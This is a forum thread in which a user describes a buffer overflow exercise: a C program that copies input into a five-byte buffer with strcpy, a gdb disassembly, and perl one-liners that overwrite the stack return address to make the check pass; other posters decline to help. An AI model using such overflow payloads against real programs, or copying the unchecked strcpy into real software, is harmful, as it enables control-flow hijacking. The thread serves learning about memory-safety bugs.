Thread: gdb exercise!

I've been looking at an exercise on buffer overflows and the stack return address. The idea is to overflow a buffer in front of the stack return address and swap in a different address to execute a different part of the code than intended. So a simple example would look like this:

Code:

   1 #include <stdio.h>
   2 #include <string.h>
   3 
   4 int wordcheck (char *word) {
   5 	char string[5];
   6 	strcpy(string,word);
   7 	if (strcmp(string,"this")==0) return 0;
   8 	else return -1;
   9 }
  10 
  11 
  12 int main(int argc, char *argv[]) {
  13 	if (wordcheck(argv[1])<0) puts("word wasn't this");
  14 	else puts("word was this");
  15 }

where you could use perl to create an argv[1] like this:
./a.out $(perl -e 'print "ZZZZZZZZZZZZZZZ\xff\x56\xc2\x80")
which would overwrite the stack return address with the address 80c256ff, in theory a different point in the program than we were supposed to go to.

So, using gdb and following this exercise, I've gotten to the point where I've set a breakpoint at line 6, so I can examine the $esp and see the stack frame, which should contain some padding, the storage for char string[5], some padding, then the return address. Unfortunately, in the exercise it's not explained how to identify the the return address, it's just indicated (so you can figure out how many ZZZZ's to use). I think it should be the location of an address which corresponds to an instruction:

Code:

Dump of assembler code for function main:
0x0804843b <main+0>:    lea    0x4(%esp),%ecx
0x0804843f <main+4>:    and    $0xfffffff0,%esp
0x08048442 <main+7>:    pushl  0xfffffffc(%ecx)
0x08048445 <main+10>:   push   %ebp
0x08048446 <main+11>:   mov    %esp,%ebp
0x08048448 <main+13>:   push   %ecx
0x08048449 <main+14>:   sub    $0x4,%esp
0x0804844c <main+17>:   mov    0x4(%ecx),%eax
0x0804844f <main+20>:   add    $0x4,%eax
0x08048452 <main+23>:   mov    (%eax),%eax
0x08048454 <main+25>:   mov    %eax,(%esp)
0x08048457 <main+28>:   call   0x80483d4 <wordcheck>
0x0804845c <main+33>:   test   %eax,%eax
0x0804845e <main+35>:   jns    0x804846e <main+51>
0x08048460 <main+37>:   movl   $0x8048565,(%esp)
0x08048467 <main+44>:   call   0x80482e8 <puts@plt>
0x0804846c <main+49>:   jmp    0x804847a <main+63>
0x0804846e <main+51>:   movl   $0x8048576,(%esp)
0x08048475 <main+58>:   call   0x80482e8 <puts@plt>
0x0804847a <main+63>:   add    $0x4,%esp
0x0804847d <main+66>:   pop    %ecx
0x0804847e <main+67>:   pop    %ebp
0x0804847f <main+68>:   lea    0xfffffffc(%ecx),%esp
0x08048482 <main+71>:   ret    
End of assembler dump.

I don't understand assembly, but I figure I should be able to hack through this IF I'm right about how to identify the return address of the stack frame. Or?

I look at rule 5, and I wonder what could possibly be the usefulness of this "knowledge".

Originally Posted by Salem

I look at rule 5, and I wonder what could possibly be the usefulness of this "knowledge".

Because, When you really NEED to understand how to do something, you will wish you had somehow understood that already, before now.

Originally Posted by MK27

Because, When you really NEED to understand how to do something, you will wish you had somehow understood that already, before now.

But there is absolutely no valid use of stack-smashing. Understanding how your code CRASHES when you write rubbish over the return address, yes. But understanding how you can fool the processor to jump to a different return address by overwriting the stack is called cracking or some other word with a similar meaning, and is not "useful" (it is of course also useful to understand how to AVOID such a situation, but again, that can be equally well achieved by observing the crashes that happen when you write "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" over the top of the stack, no special return address is needed, nor do you need to "hit the exact spot" - going way over is fine for the purpose of seeing it go wrong).

--
Mats

Originally Posted by matsp

But there is absolutely no valid use of stack-smashing [...] But understanding how you can fool the processor to jump to a different return address by overwriting the stack is called cracking or some other word with a similar meaning, and is not "useful" [...] no special return address is needed, nor do you need to "hit the exact spot" - going way over is fine for the purpose of seeing it go wrong).

--
Mats

No, the purpose (of the exercise) is not just to overflow the stack and segfault, it's to overwrite it in such a way that you enter a string other than "this" and still cause "word was this" to be the outcome. And I have gotten it to work, altho I never found the stack return address, by simply using three Z's (to a word boundary) and then repeating the address 10 times figuring one of them is the right address.

./a.out $(perl -e 'print "ZZZ"."\x\xff\x56\xc2\x80"x10;')

Though it will differ from place to place.

But the purpose of doing the exercise, for me, was to learn some stuff about using gdb, and the stack return address seemed like a thing to investigate, but hard to find.

Yes, and knowing how to do that is just one step away from exploiting priviledge escalation.
So NO, you're not getting anything from us.

There's plenty of other stuff to learn in GDB.

Being able to spot when your stack has been trashed is one thing (good)
Being able to manipulate that into making the code do something else isn't good at all.

Originally Posted by Salem

Yes, and knowing how to do that is just one step away from exploiting priviledge escalation.
So NO, you're not getting anything from us.

There's plenty of other stuff to learn in GDB.

Being able to spot when your stack has been trashed is one thing (good)
Being able to manipulate that into making the code do something else isn't good at all.

Isn't this a tad paranoid? I admit that maybe I don't need to know how to identify the return address of the stack frame in GDB, but I still don't think this was a bad way to bridge the topic. I'm not asking someone to accept a contract on my mother

It is not that you are asking to identify the return address that is the problem. It is the fact that you are attempting to CHANGE the return address that is the problem. That is EXTREMELY RARELY a valid thing to do. [The only time I can think of it being a valid thing to do would be if you work for the OS vendor, and you need a quick fix for something in an existing binary, and you can cobble that together by putting a bit of code in some "empty" space, and by messing about with the stack pointer get that code to run].

--
Mats

Originally Posted by slingerland3g

I think reading up on Self Service Linux ("Bruce Perens") may shed some light.

Thanks for that!